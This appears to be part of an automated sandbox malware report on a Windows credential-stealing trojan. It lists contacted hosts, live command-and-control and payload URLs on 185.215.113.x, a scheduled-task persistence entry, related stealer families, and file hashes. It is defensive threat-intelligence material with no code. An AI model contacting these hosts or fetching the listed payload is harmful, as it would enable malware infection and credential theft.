https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	false		high
https://i.y.qq.com/n2/m/index.html	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://www.deezer.com/	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://web.telegram.org/	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php#	file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.15.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	AEBGIEGCFHCFHIDHIJEC.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.15.dr	false		high
https://vibe.naver.com/today	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2456807657.0000000023A7D000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, IDHIDBAE.0.dr, DGDBKFBA.0.dr	false		high
https://assets.msn.com	cfb3a9bf-ec47-42f8-948f-67466d51b645.tmp.16.dr	false		high
https://www.ecosia.org/newtab/	DGDBKFBA.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.15.dr	false		high
https://excel.new?from=EdgeM365Shoreline	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CFIIIJJKJKFHIDGDBAKJEBKEGC.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php7	file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2681153036.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.15.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_336.7.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.16.dr	false		high
https://www.google.com/chrome	content.js.15.dr, content_new.js.15.dr	false		high
https://www.tiktok.com/	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	CFIIIJJKJKFHIDGDBAKJEBKEGC.0.dr	false		high
http://185.215.113.16/mine/random.exek	file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://chromewebstore.google.com/	manifest.json.15.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.15.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://chrome.google.com/webstore/	manifest.json.15.dr	false		high
https://y.music.163.com/m/	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	false		high
https://bard.google.com/	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2707310858.0000000023AD2000.00000004.00000020.00020000.00000000.sdmp, AEBGIEGCFHCFHIDHIJEC.0.dr	false		high
https://web.whatsapp.com	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://m.kugou.com/	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.office.com	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://outlook.live.com/mail/0/	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2456807657.0000000023A7D000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, IDHIDBAE.0.dr, DGDBKFBA.0.dr	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2707310858.0000000023AD2000.00000004.00000020.00020000.00000000.sdmp, AEBGIEGCFHCFHIDHIJEC.0.dr	false		high
https://tidal.com/	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://gaana.com/	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://drive-staging.corp.google.com/	manifest.json0.15.dr	false		high
https://outlook.live.com/mail/compose?isExtension=true	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2456807657.0000000023A7D000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, IDHIDBAE.0.dr, DGDBKFBA.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phptemDrive=C:System	file.exe, 00000000.00000002.2707310858.0000000023AD2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://apis.google.com	chromecache_336.7.dr	false		high
https://ntp.msn.com/	000003.log3.15.dr	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2711788288.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2704866803.000000001DAAA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start	Session_13376869171927577.15.dr	false		high
https://latest.web.skype.com/?browsername=edge_canary_shoreline	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://ntp.msn.com/ntp.msn.com_default	QuotaManager.15.dr	false		high
https://word.new?from=EdgeM365Shoreline	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://outlook.office.com/mail/0/	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2456807657.0000000023A7D000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, IDHIDBAE.0.dr, DGDBKFBA.0.dr	false		high
https://m.soundcloud.com/	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000002.2707310858.0000000023AD2000.00000004.00000020.00020000.00000000.sdmp, AEBGIEGCFHCFHIDHIJEC.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
3.160.188.68	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.43.85.29	unknown	United States	3257	GTT-BACKBONEGTTDE	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
23.209.72.33	unknown	United States	20940	AKAMAI-ASN1EU	false
52.168.112.67	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.209.72.42	unknown	United States	20940	AKAMAI-ASN1EU	false
23.59.251.201	unknown	United States	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561603
Start date and time:	2024-11-23 21:58:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@75/278@24/19
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.198.118.190, 192.229.221.95, 93.184.221.240, 172.217.21.35, 172.217.19.238, 74.125.205.84, 34.104.35.123, 142.250.181.99, 142.250.181.106, 172.217.19.202, 172.217.21.42, 172.217.17.74, 142.250.181.42, 142.250.181.138, 172.217.17.42, 216.58.208.234, 172.217.19.234, 142.250.181.74, 172.217.19.10, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 172.165.69.228, 2.16.149.86, 2.16.149.76, 172.165.61.93, 95.100.181.132, 95.100.181.143, 2.16.158.35, 2.16.158.27, 2.16.158.48, 2.16.158.169, 2.16.158.96, 2.16.158.179, 2.16.158.170, 2.16.158.192, 2.16.158.82, 104.126.37.242, 104.126.37.241, 104.126.37.233, 104.126.37.234, 2.19.198.233, 104.126.37.216, 2.19.198.225, 104.126.37.227, 2.19.198.226, 13.74.129.1, 13.107.21.237, 204.79.197.237, 199.232.214.172, 142.251.32.99, 142.251.41.3, 142.250.65.195, 142.251.40.131, 142.250.65.163, 142.250.176.195
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, tse1.mm.bing.net, clientservices.googleapis.com, g.bing.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, arc.msn.com, wns.notify.trafficmanager.net,
Execution Graph export aborted for target DocumentsIEBFHCAKFB.exe, PID 3536 because it is empty
Execution Graph export aborted for target skotes.exe, PID 6648 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:59:38	API Interceptor	135x Sleep call for process: file.exe modified
21:59:58	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	2fQ8fpTWAP.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fg.microsoft.map.fastly.net	CZxDiTktSY.exe	Get hash	malicious	XWorm	Browse	199.232.210.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	phish_alert_sp2_2.0.0.0 (6).eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://storage.googleapis.com/windows_bucket1/turbo/download/TurboVPN_setup.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	ap4pkLeaVp.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	setup.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	vs_BuildTools.zip	Get hash	malicious	Unknown	Browse	199.232.210.172
	XYrLOQoLE4.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://r20.rs6.net/tn.jsp?t=ujqgb8abb.0.0.zumspjcab.0&id=preview&r=3&p=http%3A%2F%2Ffiles.constantcontact.com%2F99239f29001%2F765a22db-b453-4315-a344-dc2294500069.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	ivySCI-5.6.3.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Unknown	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	CZxDiTktSY.exe	Get hash	malicious	XWorm	Browse	52.208.202.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.155.1.8
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	18.245.60.72
	https://elizgallery.com/nazvanie.js	Get hash	malicious	Unknown	Browse	13.250.84.149
	sora.arm.elf	Get hash	malicious	Mirai	Browse	18.243.215.239
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	99.79.220.130
	sora.x86.elf	Get hash	malicious	Mirai	Browse	34.221.248.6
	sora.mips.elf	Get hash	malicious	Mirai	Browse	13.51.123.184
	sora.spc.elf	Get hash	malicious	Mirai	Browse	18.182.10.192
	wheiuwa4.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
WHOLESALECONNECTIONSNL	2fQ8fpTWAP.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
MICROSOFT-CORP-MSN-AS-BLOCKUS	CZxDiTktSY.exe	Get hash	malicious	XWorm	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.96.153.111
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	204.79.197.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	sora.arm.elf	Get hash	malicious	Mirai	Browse	104.214.22.71

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Cryptbot	Browse	20.190.147.7 4.245.163.56 13.107.246.63 23.218.208.109
	2fQ8fpTWAP.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	20.190.147.7 4.245.163.56 13.107.246.63 23.218.208.109
	EsgeCzT4do.exe	Get hash	malicious	XWorm	Browse	20.190.147.7 4.245.163.56 13.107.246.63 23.218.208.109
	CZxDiTktSY.exe	Get hash	malicious	XWorm	Browse	20.190.147.7 4.245.163.56 13.107.246.63 23.218.208.109
	https://www.google.co.kr/url?url=https://hrtyuytitwagtxswxzqxpcm&jtdm=hjstxxb&qhwocq=elw&vrszx=mrursi&rtz=qksmlok&sdyxm=kxlpun&hnkj=iujyvng&vochgqf=ylsd&pkhfd=vyifcj&nymdhak=ffn&ylzv=xpddvxaj&zoadnebgoj=rccejsmuqd&q=amp/hmf1bnz.s%C2%ADlf%C2%ADpg%C2%ADq%C2%ADq%C2%ADwzu%C2%ADx%C2%ADppns%C2%ADc%C2%ADs%C2%AD.com%E2%80%8B/n7brnx1iy&lbgq=ihcrvpx&isffrcc=xjcvvbbd&hokv=buitobfj&nfzezydbgm=lhtjhglyxx&pjwu=tdsgcse&cesnzrb=ekoykarj&ifpv=yabmwecd&acyeqkflup=bacwibnnwl&dovx=vqvcdxk&rwbvdtj=khlezois&efgx=ktfpexjt&iqggbgjmwh=cvqmvfdelx&gqsh=ghsdgye&hipceti=hpqeesqk&hkvbucxuvo=drwoirzwsq&dril=qbpemxo&xziwtam=tdvywqlj&nndiwyldry=kjqbehmdbj&kqef=faiqetj&peigggc=vbyfdxky&fstmbbtmkx=rjxugltfmc&rpws=borxqez&rijvxqj=ntedqhtd&wohxxxgtmq=jpiozpkrbp&cxah=gcmtksp&tzidqah=syxnwioo&szzishkfke=xmnmodwwoc&xmif=xdxtrqz&ajzcojq=fmtqkshw&gkmh=vmwdknp&xvlhpuf=zkhqqziq&rvfh=igbqint&gdnzlky=hyzlhjke&dqkq=ophpttl&yoamsuz=cuykisoc&frzr=lajcnwi&chdmjpw=hymhkhbw&wnxy=zwkomqb&duxkrfq=asjrwcgu&fzya=hrpcnke&hxrusxm=foudbois&yqgm=uhfvxoo&uynyplq=iryzkatx&qfzs=stmleud&vkbxzkf=hxgbjzit&dnro=vjxntck&kfrldgj=vpyfihbn&nsko=sdzidzb&unudtuz=mnvrwokv&lisf=zxdfari&tdyzrah=otrtzuun&rfza=trokalr&vkfduyc=wpwvnxpe&jjsq=pgkbofh&uatnbjp=gtwiypfq&zilu=kagobvs&jqfufkw=bckrzetp&tjng=jgmmmod&fvdtpsk=vlyzfjep&mgoi=fklhysh&llyljdv=jxpogtdn&gcjv=vjlzkuf&erlhvti=peuprtov&kbxk=jviffkg&lklbxhl=uhzpnzfw&upaw=gfmiehp&ismxijp=hmwbsmgj&zdkc=kodikna&njllvzf=oodglyrw&urdk=cktezyn&vmqhwgh=kqcbhffu&riqy=tlnbqzr&nmlgrkn=inyeynzg&vebu=pwpghzr&ckpmyoc=tmeufjen&otic=svrqsdo&tbwzub	Get hash	malicious	Unknown	Browse	20.190.147.7 4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	20.190.147.7 4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.190.147.7 4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.190.147.7 4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.190.147.7 4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	20.190.147.7 4.245.163.56 13.107.246.63 23.218.208.109
6271f898ce5be7dd52b0fc260d0662b3	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.103.156.88 2.16.158.81
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.103.156.88 2.16.158.81
	file.exe	Get hash	malicious	LummaC Stealer	Browse	150.171.27.10 20.103.156.88 2.16.158.81
	file.exe	Get hash	malicious	LummaC Stealer	Browse	150.171.27.10 20.103.156.88 2.16.158.81
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.103.156.88 2.16.158.81
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10 20.103.156.88 2.16.158.81
	https://www.cinehub.click/anus	Get hash	malicious	Unknown	Browse	150.171.27.10 20.103.156.88 2.16.158.81
	https://novelalert.cloudaccess.host/wp-admin/includes/contactamende/	Get hash	malicious	Unknown	Browse	150.171.27.10 20.103.156.88 2.16.158.81
	https://insights.zohorecruit.com/ck1/2d6f.390d3f0/70932e40-a754-11ef-acd6-525400d4bb1c/c4b396bcef628ee60a3903dd64a571f46a43eb4a/2?e=AP6yJbny%2BojaTRJMo4YN29y4982EEh70QglqvV8aiCoCwftyNixblJXLnLCBIbU9pdrCb4rbSvPbWtRnPycgQw%3D%3D	Get hash	malicious	Unknown	Browse	150.171.27.10 20.103.156.88 2.16.158.81
	file.exe	Get hash	malicious	LummaC	Browse	150.171.27.10 20.103.156.88 2.16.158.81

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	21Installer.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AEBGIEGCFHCFHIDHIJEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
